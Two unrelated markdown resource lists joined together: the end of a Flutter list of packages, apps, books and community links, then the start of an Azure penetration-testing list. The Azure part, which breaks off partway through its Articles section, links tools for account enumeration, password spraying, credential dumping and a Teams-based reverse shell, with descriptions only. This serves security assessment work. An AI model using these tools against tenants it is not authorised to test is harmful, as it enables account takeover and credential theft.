- [Drawing Animation](https://github.com/biocarl/drawing_animation) [384⭐] - Create drawing line animations based on SVG path data by [Carl Hauck](https://twitter.com/cahaucks).
- [Simple Animations](https://github.com/felixblaschke/simple_animations) - Create awesome custom animations easily by [Felix Blaschke](https://github.com/felixblaschke).
- [Flutter-animation-set](https://github.com/efoxTeam/flutter-animation-set) [264⭐] - Easy to build an animation set by [efoxTeam](https://github.com/efoxTeam).
- [Staggered Animations](https://github.com/mobiten/flutter_staggered_animations) [977⭐] - Easily add staggered animations to your ListView, GridView, Column and Row by [mobiten](https://mobiten.com/).
- [Animate Do](https://pub.dev/packages/animate_do) - Animation package inspired in Animate.css by [Fernando Herrera](https://twitter.com/Fernando_Her85).
- [Funvas](https://github.com/creativecreatorormaybenot/funvas) [361⭐] - Create fun *time based canvas animations* by [creativecreatorormaybenot](https://twitter.com/creativemaybeno).
### Testing
- [Flutter Gherkin](https://github.com/jonsamwell/flutter_gherkin) [150⭐] - Fully featured Gherkin parser and UI automated test runner by [Jon Samwell](https://github.com/jonsamwell).
### Web
- [Responsive Framework](https://github.com/Codelessly/ResponsiveFramework) [702⭐] - Automatically adapt UI to different screen sizes. Responsiveness made simple by [Codelessly](https://codelessly.com).
## Experimental
This section contains libraries that take an experimental or unorthodox approach.
- [styled_widget](https://github.com/ReinBentdal/styled_widget) [671⭐] - Simplifying your widget tree structure by defining widgets using methods by [Rein Gundersen Bentdal](https://github.com/ReinBentdal).
## Engines
### Rendering
- [Graphx](https://github.com/roipeker/graphx) [293⭐] - Making drawings and animations extremely simple, inspired by Flash, by [Roi Peker](https://github.com/roipeker).
### Game
- [Flame](https://github.com/flame-engine/flame) [5173⭐] - Minimalist game engine by [Luan Nico](https://github.com/luanpotter).
- [SpriteWidget](https://github.com/spritewidget/spritewidget) [1186⭐] - Toolkit for building complex, high performance animations and 2D games by [Viktor Lidholt](https://github.com/vlidholt).
#### Open source games
- [Flip](https://github.com/RedBrogdon/flutterflip) [201⭐] - Reversi game by [Andrew Brogdon](https://github.com/RedBrogdon).
- [2048](https://github.com/anuranBarman/2048) [205⭐] - 2048 game by [Anuran Barman](https://github.com/anuranBarman).
- [TRex](https://github.com/renancaraujo/trex-flame) [316⭐] - Port of the famous Chrome's Trex game by [Renan C. Araújo](https://github.com/renancaraujo).
- [Crush](https://github.com/boeledi/flutter_crush) [409⭐] - How to build a Math-3 game, like Candy Crush, Bejeweled by [Didier Boelens](https://didierboelens.com).
- [Slide Puzzle](https://github.com/kevmoo/slide_puzzle) [152⭐] - Classic slide (15) puzzle by [Kevin Moore](https://github.com/kevmoo).
- [Tetris](https://github.com/boyan01/flutter-tetris) [1280⭐] - Tetris game by [YangBin](https://github.com/boyan01).
- [Party Charades](https://github.com/vintage/party_flutter) [165⭐] - Party charades by [Kamil Rykowski](https://github.com/vintage).
- [Ghost Rigger](https://github.com/Float-like-a-dash-Sting-like-a-dart/GhostRigger) [159⭐] - Ghost Rigger is a cyberpunk inspired puzzle game by [Iain Smith](https://github.com/b099l3) and [Julio Ernesto Rodríguez Cabañas](https://github.com/ernestoyaquello).
- [Space Empires](https://github.com/satyamx64/space_empires) [32⭐] - A 4X Space themed strategy game by [Satyam Sharma](https://github.com/satyamx64).
#### Game Engine resources
- [Awesome Flame](https://github.com/flame-engine/awesome-flame)<!--stargazers:flame-engine/awesome-flame--> - Curated list of the best Flame games, projects, libraries, tools, tutorials, articles and more by [Flame Engine](https://github.com/flame-engine).
## Open Source Apps
### Premium
- [History Of Everything](https://github.com/2d-inc/HistoryOfEverything) [5887⭐] - Animated vertical timeline of humanity by [2D, Inc](https://www.2dimensions.com/).
- [Developer Quest](https://github.com/2d-inc/developer_quest) [2917⭐] - Become a tech lead, slay bugs by [2D, Inc](https://www.2dimensions.com/).
- [AppFlowy](https://github.com/AppFlowy-IO/appflowy) [12156⭐] - The Open Source Notion Alternative. You are in charge of your data and customizations. Built with Flutter and Rust by [AppFlowy team](https://www.appflowy.io/).
### Top
- [Flutter Team Samples](https://github.com/flutter/samples) [10919⭐] - Collection of examples (including maps, json, Material and Cupertino) by the [Flutter team](https://github.com/orgs/flutter/people).
- [Flutter Common Widgets](https://github.com/alibaba/flutter-common-widgets-app) [22910⭐] - Collection of official widgets demos & docs in chinese to help developers learn quickly by [Alibaba Auction Frontend Team](https://github.com/alibaba-paimai-frontend).
- [Meme Chat](https://github.com/efortuna/memechat) [514⭐] - Chat app on Flutter, using Firebase, Google Sign In, and device camera integration by a team of Googlers.
- [Flitter](https://github.com/dart-flitter/flitter) [183⭐] - Glitter app by [Hadrien Lejard](https://twitter.com/HadrienLejard) and [Kevin Segaud](https://twitter.com/kevin_segaud). It uses Redux and Jaguar.
- [Lime](https://github.com/fablue/lime-flutter) [356⭐] - Lime social network by Sebastian Sellmair.
- [Planets](https://github.com/sergiandreplace/flutter_planets_tutorial) [711⭐] - Planet exploration that demonstrate rich UI by [Sergi Martínez](http://sergiandreplace.com).
- [NewsBuzz](https://github.com/theankurkedia/NewsBuzz) [505⭐] - Firebase backed news reader using News API by [Ankur Kedia](https://github.com/theankurkedia).
- [DroidKaigi2018-flutter](https://github.com/konifar/droidkaigi2018-flutter) [513⭐] - Unofficial conference app for DroidKaigi 2018 Tokyo by [konifar](https://github.com/konifar).
- [Music Player](https://github.com/iampawan/Flutter-Music-Player) [1332⭐] - Full featured music player by [Pawan Kumar](https://about.me/imthepk).
- [WhatTodo](https://github.com/burhanrashid52/WhatTodo) [910⭐] - Todoist like UI by [Burhanuddin Rashid](https://about.me/burhanrashid52).
- [FlutterGram](https://github.com/mdanics/fluttergram) [1939⭐] - Complete Instagram based on Firestore & Google Functions by [MDanics](https://github.com/mdanics).
- [BookSearch](https://github.com/Norbert515/BookSearch) [472⭐] - Digital BookShelf for your reading progress by [Norbert515](https://github.com/Norbert515).
- [Cinematic](https://github.com/aaronoe/FlutterCinematic) [832⭐] - UI for Movie DB Public API by [Aaron Oertel](https://github.com/aaronoe).
- [Beer-Me-Up](https://github.com/benoitletondor/Beer-Me-Up) [441⭐] - Beer tracking nicely designed by [Benoit Letondor](https://github.com/benoitletondor).
- [Trace](https://github.com/trentpiercy/trace) [789⭐] - Modern and powerful crypto portfolio & market explorer by [Trent Piercy](https://github.com/trentpiercy).
- [Taskist](https://github.com/huextrat/Taskist) [729⭐] - Taskist is a ToDo List app for Task Management by [Hugo EXTRAT](https://github.com/huextrat).
- [Tourism](https://github.com/bluemix/tourism-demo) [251⭐] - Tourism app based on redux w/ animations & i18n by [blueMix](https://github.com/bluemix/tourism-demo).
- [Trinity Orientation @ Univ Toronto](https://github.com/matthewtory/trinity-orientation-2018) [562⭐] - Orientation week at Trinity College, U of T by [Matthew Tory](https://github.com/matthewtory).
- [Transform Widget](https://github.com/DrPaulT/flutter-engine-test) - Image widgets as 3D game engine sprites by [Paul Thomas](https://github.com/DrPaulT).
- [Deer](https://github.com/aleksanderwozniak/deer) [297⭐] - Minimalist Todo Planner built using BLoC pattern by [Aleksander Woźniak](https://github.com/aleksanderwozniak).
- [TailorMade](https://github.com/jogboms/tailor_made) [235⭐] - Managing a Fashion designer's daily routine using a mixture of ReBLoC w/ Firebase Cloud Store & Functions by [Jeremiah Ogbomo](https://twitter.com/jogboms).
- [Instory](https://github.com/InvertedX/instory) [194⭐] - Instgram story downloader with a beautiful UI [Sarath](https://twitter.com/_sarath_kumar).
- [Spacex-Go](https://github.com/jesusrp98/spacex-go) [645⭐] - Simple yet powerful, open-source SpaceX launch tracker. [jesusrp98](https://twitter.com/jesusrp98).
- [Superhero Interaction](https://github.com/pinkeshdarji/SuperHeroInteraction) [218⭐] - Cool Superhero interaction animation by [Pinkesh Darji](https://github.com/pinkeshdarji).
- [Reply](https://github.com/flschweiger/reply) [535⭐] - 'Reply' Material Design case study by [Frederik Schweiger](https://github.com/flschweiger).
- [Enigma](https://github.com/AmitJoki/Enigma) - Privacy chat with end-to-end encryption by [AmitJoki](https://github.com/AmitJoki).
- [Chillify](https://github.com/KarimElghamry/chillify) - Fancy music app made with Provider and Bloc pattern by [Karim Elghamry](https://github.com/KarimElghamry).
- [Pokedex](https://github.com/scitbiz/flutter_pokedex) - Pokedex app with beautiful UI and smooth animation by [Hung Pham](https://github.com/scitbiz).
- [Timy Messenger](https://github.com/janoodleFTW/timy-messenger) [1742⭐] - Group messaging app with a focus on organizing events by [Miguel Beltran](https://github.com/miquelbeltran) and [Franz Heinfling](https://github.com/fheinfling).
- [GitJournal](https://github.com/GitJournal/GitJournal) [1717⭐] - Journaling your data in a Git Repo by [Vishesh Handa](https://github.com/vHanda).
- [AuthPass](https://github.com/authpass/authpass) [1061⭐] - Keepass compatible password manager for mobile and desktop by [hpoul](https://github.com/hpoul).
- [Fwitter](https://github.com/TheAlphamerc/flutter_twitter_clone) [1523⭐] - Full Twitter clone using Firebase solution by [Sonu Sharma](https://github.com/TheAlphamerc).
- [Harpy](https://github.com/robertodoering/harpy) [825⭐] - Feature rich Twitter client by [Roberto Doering](https://github.com/robertodoering).
## Utilities
- [Launcher Icons](https://github.com/franzsilva/flutter_launcher_icons) - Generate your launcher icons easily by [Mark O'Sullivan](https://github.com/MarkOSullivan94) and [Franz Silva](https://github.com/franzsilva).
- [FlutterIcon](http://fluttericon.com/) [310⭐] - Icon set generator by [Mike Hoolehan](https://github.com/ilikerobots).
- [FVM](https://github.com/leoafarias/fvm) [2233⭐] - Flutter Version Management: A simple cli to manage Flutter SDK versions.
- [Environment Configuration](https://github.com/TatsuUkraine/dart_environment_config) [86⭐] - CLI tool to generate `.env` configurations for application environments by [TatsuUkraine](https://github.com/TatsuUkraine).
- [Flutter Flavorizr](https://github.com/AngeloAvv/flutter_flavorizr) [160⭐] - CLI utility to easily generate flavors for Android and iOS in less than 3 minutes by [Angelo Cassano](https://github.com/AngeloAvv).
- [Fontify](https://github.com/westracer/fontify) [77⭐] - CLI tool to convert SVG icons to OTF font and generate Flutter-compatible class by [Igor Kharakhordin](https://github.com/westracer).
- [FlutterGen](https://github.com/FlutterGen/flutter_gen) [791⭐] - Assets code generator for your images, fonts, colors, etc — Get rid of String-based APIs.
- [Very Good Cli](https://github.com/VeryGoodOpenSource/very_good_cli) [1135⭐] - Very Good Command Line Interface for Dart created by [Very Good Ventures](https://github.com/VeryGoodOpenSource).
- [Flutter Sidekick](https://github.com/leoafarias/sidekick) [544⭐] - Simple app to make Flutter development more delightful by [Leo Farias](https://github.com/leoafarias).
- [Dart Code Metrics](https://github.com/dart-code-checker/dart-code-metrics) [430⭐] - Additional linter which reports code metrics, checks for anti-patterns and provides additional rules for the Dart analyzer by [Dart Code Checker team](https://github.com/dart-code-checker).
### VSCode
- [Awesome Snippets](https://marketplace.visualstudio.com/items?itemName=Nash.awesome-flutter-snippets) - Collection of commonly used classes and methods by [Nash](https://twitter.com/Nash0x7E2).
- [Flutter Files](https://marketplace.visualstudio.com/items?itemName=gornivv.vscode-flutter-files) - Quick generation for BLoC templates files by context menu by [Gorniv](https://github.com/gorniv).
- [Flutter Intl](https://marketplace.visualstudio.com/items?itemName=localizely.flutter-intl) - i18n binding from arb files by [Localizely](https://twitter.com/localizely).
### IntelliJ / Android Studio
- [Enhancement_Suite](https://github.com/marius-h/flutter_enhancement_suite) [196⭐] - Search for pub.dev libraries, update version, Bloc, Snippet, etc you're covered by [Marius Höfler](https://github.com/marius-h).
- [Flutter Intl](https://plugins.jetbrains.com/plugin/13666-flutter-intl) - 18n binding from arb files by [Localizely](https://twitter.com/localizely).
### Desktop
- [Desktop Embedding](https://github.com/google/flutter-desktop-embedding) [6950⭐] - Desktop implementations of the Flutter embedding API by Google.
- [Golang Desktop Embedder](https://github.com/go-flutter-desktop/go-flutter) [5083⭐] - Golang embedder for desktop by [Pierre Champion](https://github.com/pchampio).
- [Native Shell](https://github.com/nativeshell/nativeshell) [372⭐] - Experimental embedder for Flutter by [Matej Knopp](https://twitter.com/matejknopp).
- [Rust Desktop Embedder](https://github.com/gliheng/flutter-rs) [1871⭐] - Rust embedder for desktop by [juju](https://github.com/gliheng).
- [bitsdojo_window](https://github.com/bitsdojo/bitsdojo_window) <!--bitsdojo/bitsdojo_window--> - Customize windows owner-drawn chrome by [BitsDojo](https://github.com/bitsdojo).
- [Raspberry Pi Embedder](https://github.com/ardera/flutter-pi) [747⭐] - Light-weight Embedder for Raspberry Pi by [Hannes Winkler](https://github.com/ardera).
- [Fluent UI](https://github.com/bdlukaa/fluent_ui) [566⭐] - Microsoft's Fluent Design System in Flutter by [Bruno D'Luka](https://twitter.com/bdlukaadev).
- [MacOS UI](https://github.com/GroovinChip/macos_ui) [492⭐] - Widgets and themes implementing the current macOS design language by [Groovin Chip](https://twitter.com/GroovinChip).
- [Ubuntu Yaru](https://github.com/ubuntu/yaru.dart) [134⭐] - Distinct look and feel of the Ubuntu Desktop by [Ubuntu](https://github.com/ubuntu).
- [Awesome Flutter Desktop](https://github.com/leanflutter/awesome-flutter-desktop) [516⭐] - A curated list of awesome things related to Flutter desktop by [LeanFlutter](https://github.com/leanflutter).
## Books
### Learning Flutter - Beginners
- [Beginning App Development](https://www.amazon.com/Beginning-App-Development-Flutter-Cross-Platform/dp/1484251806) - by [Rap Payne](https://github.com/rapPayne).
- [Beginning Flutter](https://www.amazon.com/Beginning-Flutter-Hands-Guide-Development/dp/1119550823) - by [Marco Napoli](https://github.com/JediPixels).
- [Flutter for Beginners](https://www.amazon.com/Flutter-Beginners-introductory-cross-platform-applications/dp/1788996089) - by [Alessandro Biessek](https://github.com/biessek).
- [Flutter in Action](https://www.amazon.com/Flutter-Action-Eric-Windmill/dp/1617296147) - by [Eric Windmill](https://github.com/ericwindmill).
- [Learn Google Flutter Fast](https://www.amazon.com/Learn-Google-Flutter-Fast-Example/dp/1092297375) - by [Mark Clow](https://github.com/markclow).
### Cookbooks
- [Practical Flutter](https://www.amazon.com/Practical-Flutter-Improve-Development-Open-Source/dp/1484249712) - by [Frank Zammetti](https://github.com/fzammetti).
## Podcasts
### English
- [It's all widgets! Flutter podcast](https://open.spotify.com/show/2qJVeu47e2eAum4j7lxXXv?si=d26QVJQsSRyRHeybfL_01Q) - by [Hillel Coren](https://twitter.com/hillelcoren).
### Portuguese
- [Universo Flutter](https://open.spotify.com/show/4AlxqGkkrqe0mfIx3Mi7Xt?si=1eC0a22MR1OkEAT7HErT-A) - by [Matias de Andrea](http://deandreamatias.com/).
### Spanish
- [Código Flutter](https://open.spotify.com/show/3QUTYR6jspNxHK8akJFxYf?si=MZtgjIMyTi6-WgN9Go6vZQ) - by [Guillermo García](https://guillermogarcia.es/).
### Russian
- [Flutter Dev Podcast](https://open.spotify.com/show/5qc1VFD4pkJlUYZBVTOFCI?si=OWn7VCELRO2QV03Gi2u8nA&nd=1) - by [Eugene Saturov](https://twitter.com/saturovv).
## Bonus
- [It's All Widgets!](https://itsallwidgets.com) - Open list of published apps by [Hillel Coren](https://twitter.com/hillelcoren), [Thomas Burkhart](https://twitter.com/ThomasBurkhartB), [Simon Lightfoot](https://twitter.com/devangelslondon) and [Scott Stoll](https://twitter.com/scottstoll2017).
- [Awesome Flutter Linux](https://github.com/jpnurmi/awesome-flutter-linux) - A curated list of awesome Linux-specific Flutter packages and projects by [J-P Nurmi](https://twitter.com/jpnurmi).
### Fun
- [The One](https://www.youtube.com/watch?v=sIIgtClYq0s) [444👍]
### Hardware
- [Matrix2](https://github.com/bus710/matrix2) - Sense Hat's LED matrix control game by [bus710](https://github.com/bus710).
### Guide & Interviews
- [Interview Questions](https://github.com/whatsupcoders/Flutter-Interview-Questions) - List of helpful questions you can use to interview potential candidates by [Whatsupcoders](https://github.com/whatsupcoders/Whatsupcoders-flutter).
- [The International Flutter Starter Kit](https://medium.com/flutter-community/intl-flutter-starter-kit-18415e739fb6) - Guide by the experts by [Beyza Sunay Guler](https://twitter.com/BeyzaSunayGler1) & [Nawal Alhamwi](https://twitter.com/__nawalhmw).
## Community
### Presentation material
- [Logo](https://drive.google.com/drive/folders/1GDGdQ0ghrxTNTx6aZLT41eV5sPZvV7bU) - Logo for stickers impressions.
### Communication
- [r/FlutterDev](https://www.reddit.com/r/FlutterDev/) - Reddit community by [u/JaapVermeulen](https://www.reddit.com/user/JaapVermeulen).
- [Discord](https://discord.gg/N7Yshp4) - Discord server to discuss and get help by [Pritykin](https://twitter.com/AndrewPritykin).
- [Flutter Community](https://github.com/fluttercommunity) - Central place for community made packages.
- [OpenFlutter](https://github.com/OpenFlutter) - Make it easier 让 Flutter 更简单.
- [Hashnode](https://hashnode.com/n/flutter) - Read and write posts, participate in discussions or ask questions.
#### Misc
- [Flutter Events](https://flutterevents.com) - Open list of Flutter events by [@hillelcoren](https://twitter.com/hillelcoren).
- [FlutterX](https://flutterx.com) - Searchable list of resources by [Hillel Coren](https://twitter.com/hillelcoren).
### 🇦🇴 Angola
- Facebook [Group](https://facebook.com/groups/556888664681938)
- Facebook [Page](https://facebook.com/Flutter-Angola-2076395262380886/)
- Twitter [Page](https://twitter.com/AngolaFlutter)
### 🇦🇺 Australia
- Slack [GDG Sydney](https://gdg-sydney.slack.com)
- Meetup [GDG Sydney](https://www.meetup.com/gdgsydney)
- Twitter [Flutter Sydney](https://twitter.com/FlutterSydney)
### Bangladesh
- [Facebook Group](https://www.facebook.com/groups/flutter.bangladesh/)
### 🇧🇷 Brazil
- Slack [Flutter Brasil](https://flutterbr.slack.com)
- Medium [Flutter Comunidade BR](https://medium.com/flutter-comunidade-br)
- Twitter [Flutter Comunidade BR](https://twitter.com/br_flutter)
- Meetup [São Paulo](https://www.meetup.com/flutter-sp)
- [Flutter para iniciantes](https://www.flutterparainiciantes.com.br)
### cm Cameroon
- Twitter [Flutter Cameroon](https://twitter.com/fluttercm)
- Telegram [Flutter & Dart Community CM](https://t.me/fluttercameroon)
### 🇨🇦 Canada
- Meetup [Toronto](https://www.meetup.com/FlutterToronto)
- Meetup [Montreal](https://www.meetup.com/FlutterMontreal)
- Meetup [Calgary](https://www.meetup.com/FlutterCalgary)
### 🇨🇮 Côte d'Ivoire (Ivory Coast)
- Facebook [Page](https://web.facebook.com/flutterci/)
- Facebook [Group](https://web.facebook.com/groups/1725273507587759/)
### 🇩🇰 Denmark
- Meetup [Denmark](https://www.meetup.com/Flutter-Developers-Denmark/)
### 🇪🇹 Ethiopia
- [Telegram](https://t.me/flutter_forum/)
### 🇫🇷 France
- Meetup [Bordeaux](https://www.meetup.com/fr-FR/Flutter-Bordeaux) - [Lille](https://www.meetup.com/fr-FR/Flutter-Lille) - [Paris](https://www.meetup.com/fr-FR/Flutter-Paris) - [Rennes](https://www.meetup.com/fr-FR/Flutter-Rennes)
- [Twitter](https://twitter.com/FlutterFrance)
- [Slack](https://linktr.ee/flutter_france)
- [Newsletter Flutter Digest](https://www.flutter-digest.com/)
### 🇩🇪 Germany
- Meetup [Berlin](https://www.meetup.com/flutter-berlin/) - [Düsseldorf](https://www.meetup.com/flutter-school/) - [Karlsruhe](https://www.meetup.com/Karlsruhe-Flutter-Meetup/) - [Hamburg](https://www.meetup.com/Flutter-Hamburg/) - [Stuttgart](https://www.meetup.com/Flutter-Stuttgart/) - [Munich](https://www.meetup.com/Flutter-Munich)
- Twitter [Flutter Berlin](https://twitter.com/flutterBerlin) - [Düsseldorf](https://twitter.com/flutter_school) - [Munich](https://twitter.com/FlutterMunich)
- Slack [Flutter Berlin](https://flutterberlin.slack.com/join/shared_invite/enQtMzQ1NDI0NjU4Mjc5LWVjOTg0NmUxZmU4YzZjZjFkMWNjYWYyYTI5NjMyZWE5MDZjNDM0YzgyNWQyM2EzM2E0NDE4ZmQyMzQyMzRlNjI)
- LinkedIn [Munich](https://www.linkedin.com/company/Flutter-Munich)
### 🇬🇷 Greece
- Meetup [Athens](https://www.meetup.com/Athens-Flutter-Group/)
- Slack [Flutter GR](https://join.slack.com/t/fluttergr/shared_invite/enQtNzQwODM2NzIxOTg0LWFjNWYxYzkyMTdmYWQ4ZWYyMWI2YjcyOTI4YzAzYjY2Nzk3OWNkMTkwZGRjNjRiMGFlNzgyOGRhMmEyZTQ3MmM)
### 🇮🇹 Italy
- Telegram [Flutter Italia Developers](https://t.me/flutteritdevs)
- Website [flutteritalia.dev](https://flutteritalia.dev)
### 🇮🇳 India
- Telegram [Flutter India 🇮🇳](https://t.me/flutterindia)
### 🇮🇱 Israel
- Facebook [Flutter Israel Developers](https://www.facebook.com/groups/2779846762051712)
### 🇮🇩 Indonesia
- Telegram [Flutter Indonesia](https://t.me/flutter_id)
### 🇯🇵 Japan
- Meetup [Tokyo Flutter Developers](https://www.meetup.com/Tokyo-Flutter/)
### 🇰🇪 Kenya
- Meetup [Flutter Developers Kenya](https://www.meetup.com/KenyaFlutterDev/)
- Twitter [Flutter Developers Kenya](https://twitter.com/KenyaFlutterDev/)
### 🇰🇷 Korea
- Meetup [Flutter Korea](https://www.meetup.com/ko-KR/Flutter-Korea/)
- Facebook [Flutter Korea User Group](https://www.facebook.com/groups/flutterkorea/)
- Slack [GDG Korea #flutter channel](http://slack.gdg.kr/)
### 🇲🇾 Malaysia
- Telegram [Flutter/Dart Dev Malaysia](https://t.me/flutterdevmalaysia)
### 🇳🇬 Nigeria
- Slack [DevCenter Square](https://devcenter-square-slack.herokuapp.com)
- Telegram [FlutterLagos](https://t.me/joinchat/PAH0fVA0l7F_zMM537lo9w)
- Twitter [FlutterLagos](https://twitter.com/FlutterLagos)
### 🇵🇰 Pakistan
- [Facebook Group](https://www.facebook.com/groups/FlutterPK/)
### 🇵🇭 Philippines
- [Website](https://flutter.ph/)
- [Meetup](https://www.meetup.com/flutterph/)
- [Twitter](https://twitter.com/flutter_ph)
- [Facebook Page](https://web.facebook.com/flutterphilippines/)
- [Facebook Group](https://web.facebook.com/groups/flutterphilippines/)
- [Github](https://github.com/flutterph)
### 🇵🇱 Poland
- [Flutter Developers Poland Facebook Group](https://www.facebook.com/groups/2228619364094561/about/)
- [Flutter Poland Slack workspace](http://bit.ly/flutter-pl-slack)
- [Flutter Warsaw Meetup](https://www.meetup.com/Flutter-Warsaw/)
- [Flutter Warsaw Twitter](https://twitter.com/flutterwarsaw)
- [Flutter Warsaw YouTube Channel](https://www.youtube.com/channel/UCO7yMprO8cFwV4QnuhTMVlQ)
- [Poznan Flutter Developer Group](https://www.meetup.com/poznan-flutter-developers/)
- [Flutter Wrocław Meetup](https://www.meetup.com/Flutter-Wroc%C5%82aw/)
- Meetup [Tricity](https://www.meetup.com/pl-PL/Flutter-Tricity/)
- Twitter [Tricity](https://twitter.com/FlutterTricity/)
### 🇵🇹 Portugal
- [Meetup](https://www.meetup.com/flutterportugal)
### 🇵🇪 Peru
- Facebook [Flutter Peru Group](https://www.facebook.com/groups/flutterperu/)
- Meetup [Flutter Peru](https://meetup.com/Flutter-Peru/)
- Twitter [Flutter Peru](https://twitter.com/FlutterPeru)
### 🇷🇺 Russia
- [Telegram](https://t.me/rudart)
### 🇪🇸 Spain
- [Madrid Community](https://flutter.madrid)
- [Madrid Meetup](https://www.meetup.com/es-ES/Flutter-Madrid)
- [Madrid Twitter](https://twitter.com/FlutterMadrid)
### 🇱🇰 Sri Lanka
- [Gitter](https://gitter.im/Colombo-Flutter-Community)
- [Slack](https://fluttercmb.slack.com/)
- [Community GitHub Page](https://github.com/Colombo-Flutter-Meetup)
- [Facebook Page](https://www.facebook.com/flutterCMB/)
### 🇹🇷 Turkey
- [Twitter](https://twitter.com/flutter_turkiye)
- [Medium](https://medium.com/flutter-türkiye/)
- [Telegram Channel](https://t.me/FlutterTurk)
- [Telegram Group](https://t.me/FlutterTR)
- [Slack](https://bit.ly/flutterTR)
- [Github](https://github.com/flutterturkey)
### 🇺🇦 Ukraine
- [Telegram](https://t.me/artflutter)
- [Twitter](https://twitter.com/ArtFlutter)
### 🇬🇧 United Kingdom
- [Flutter London](https://flutterldn.dev/)
- Meetup [London](https://www.meetup.com/FlutterLDN/)
- [Twitter](https://twitter.com/FlutterLDN)
- [YouTube](https://www.youtube.com/channel/UC_a-vGdkAIRMKT1zzZ4I2ag)
### 🇺🇸 United States
- Meetup [Chicago](https://www.meetup.com/Flutter-Chicago/)
- Meetup [Washington DC] (https://www.meetup.com/DCFlutter/)
### 🏴 Kurdistan
- Meetup [Kurdistan](https://www.meetup.com/Flutter-Kurdistan/)
### 🇳🇴 Norway
- [Meetup Oslo](https://www.meetup.com/Oslo-Flutter-Dart-Meetup/)
- [Meetup Stavanger](https://www.meetup.com/Flutter-Stavanger/)
- [Twitter](https://twitter.com/flutterNorway)
### 🇺🇿 Uzbekistan
- [Telegram](https://t.me/dartdevuz)
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Robert Felker](https://www.linkedin.com/in/robert-felker/) has waived all copyright and related or neighboring rights to this work.
|
# Awesome Azure Penetration Testing
A curated list of useful tools and resources for penetration testing and securing Microsofts cloud platform **Azure**.
## Table of Contents
- [Tools](#tools)
- [Enumeration](#enumeration)
- [Information Gathering](#information-gathering)
- [Lateral Movement](#lateral-movement)
- [Exploitation](#exploitation)
- [Credential Attacks](#credential-attacks)
- [Resources](#resources)
- [Articles](#articles)
- [Lists and Cheat Sheets](#lists-and-cheat-sheets)
- [Lab Exercises](#lab-exercises)
- [Talks & Videos](#talks-and-videos)
- [Books](#books)
- [Tips and Tricks](#tips-and-tricks)
## Tools
### Enumeration
- [o365creeper](https://github.com/LMGsec/o365creeper) - Enumerate valid email addresses
- [CloudBrute](https://github.com/0xsha/CloudBrute) - Tool to find a cloud infrastructure of a company on top Cloud providers
- [cloud_enum](https://github.com/initstring/cloud_enum) - Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud
- [Azucar](https://github.com/nccgroup/azucar) - Security auditing tool for Azure environments
- [CrowdStrike Reporting Tool for Azure (CRT)](https://github.com/CrowdStrike/CRT) - Query Azure AD/O365 tenants for hard to find permissions and configuration settings
- [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - Multi-cloud security auditing tool. Security posture assessment of different cloud environments.
- [BlobHunter](https://github.com/cyberark/blobhunter) - A tool for scanning Azure blob storage accounts for publicly opened blobs
- [Grayhat Warfare](https://buckets.grayhatwarfare.com/) - Open Azure blobs and AWS bucket search
- [Office 365 User Enumeration](https://github.com/gremwell/o365enum) - Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1 or office.com login page
- [CloudFox](https://github.com/BishopFox/cloudfox) - Automating situational awareness for cloud penetration tests
- [Monkey365](https://github.com/silverhack/monkey365) - Conduct Microsoft 365, Azure subscriptions and Azure Active Directory security configuration reviews
- [Azure-AccessPermissions](https://github.com/csandker/Azure-AccessPermissions) - PowerShell script to enumerate access permissions in an Azure AD environment
- [Prowler](https://github.com/prowler-cloud/prowler) - Perform AWS and Azure security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness
### Information Gathering
- [o365recon](https://github.com/nyxgeek/o365recon) - Information gathering with valid credentials to Azure
- [Get-MsolRolesAndMembers.ps1](https://gist.github.com/ciphertxt/2036e614edf4bf920796059017fbbc3d) - Retrieve list of roles and associated role members
- [ROADtools](https://github.com/dirkjanm/ROADtools) - Framework to interact with Azure AD
- [PowerZure](https://github.com/hausec/PowerZure) - PowerShell framework to assess Azure security
- [Azurite](https://github.com/FSecureLABS/Azurite) - Enumeration and reconnaissance activities in the Microsoft Azure Cloud
- [Sparrow.ps1](https://github.com/cisagov/Sparrow) - Helps to detect possible compromised accounts and applications in the Azure/M365 environment
- [Hawk](https://github.com/T0pCyber/hawk) - Powershell based tool for gathering information related to O365 intrusions and potential breaches
- [Microsoft Azure AD Assessment](https://github.com/AzureAD/AzureADAssessment) - Tooling for assessing an Azure AD tenant state and configuration
- [Cloud Katana](https://github.com/Azure/Cloud-Katana) - Unlocking Serverless Computing to Assess Security Controls
- [SCuBA M365 Security Baseline Assessment Tool](https://github.com/cisagov/ScubaGear) - Automation to assess the state of your M365 tenant against CISA's baselines
### Lateral Movement
- [Stormspotter](https://github.com/Azure/Stormspotter) - Azure Red Team tool for graphing Azure and Azure Active Directory objects
- [AzureADLateralMovement](https://github.com/talmaor/AzureADLateralMovement) - Lateral Movement graph for Azure Active Directory
- [SkyArk](https://github.com/cyberark/SkyArk) - Discover, assess and secure the most privileged entities in Azure and AWS
- [omigood (OM I GOOD?)](https://github.com/marcosimioni/omigood) - Scanner to detect VMs vulnerable to one of the "OMIGOD" vulnerabilities
### Exploitation
- [MicroBurst](https://github.com/NetSPI/MicroBurst) - A collection of scripts for assessing Microsoft Azure security
- [azuread_decrypt_msol_v2.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) - Decrypt Azure AD MSOL service account
- [Microsoft-Teams-GIFShell](https://github.com/bobbyrsec/Microsoft-Teams-GIFShell) - Microsoft Teams can be leveraged by an attacker, to execute a reverse shell between an attacker and victim piped through malicious GIFs sent in Teams messages
#### Credential Attacks
- [MSOLSpray](https://github.com/dafthack/MSOLSpray) - A password spraying tool for Microsoft Online accounts (Azure/O365)
- [MSOLSpray.py](https://github.com/MartinIngesen/MSOLSpray) - A Python version of the MSOLSpray password spraying tool for Microsoft Online accounts (Azure/O365)
- [o365spray](https://github.com/0xZDH/o365spray) - Username enumeration and password spraying tool aimed at Microsoft O365
- [MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services Resources
- [adconnectdump](https://github.com/fox-it/adconnectdump) - Dump Azure AD Connect credentials for Azure AD and Active Directory
## Resources
### Articles
- [Abusing Azure AD SSO with the Primary Refresh Token ](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- [Abusing dynamic groups in Azure AD for Privilege Escalation](https://www.mnemonic.no/blog/abusing-dynamic-groups-in-azure/)
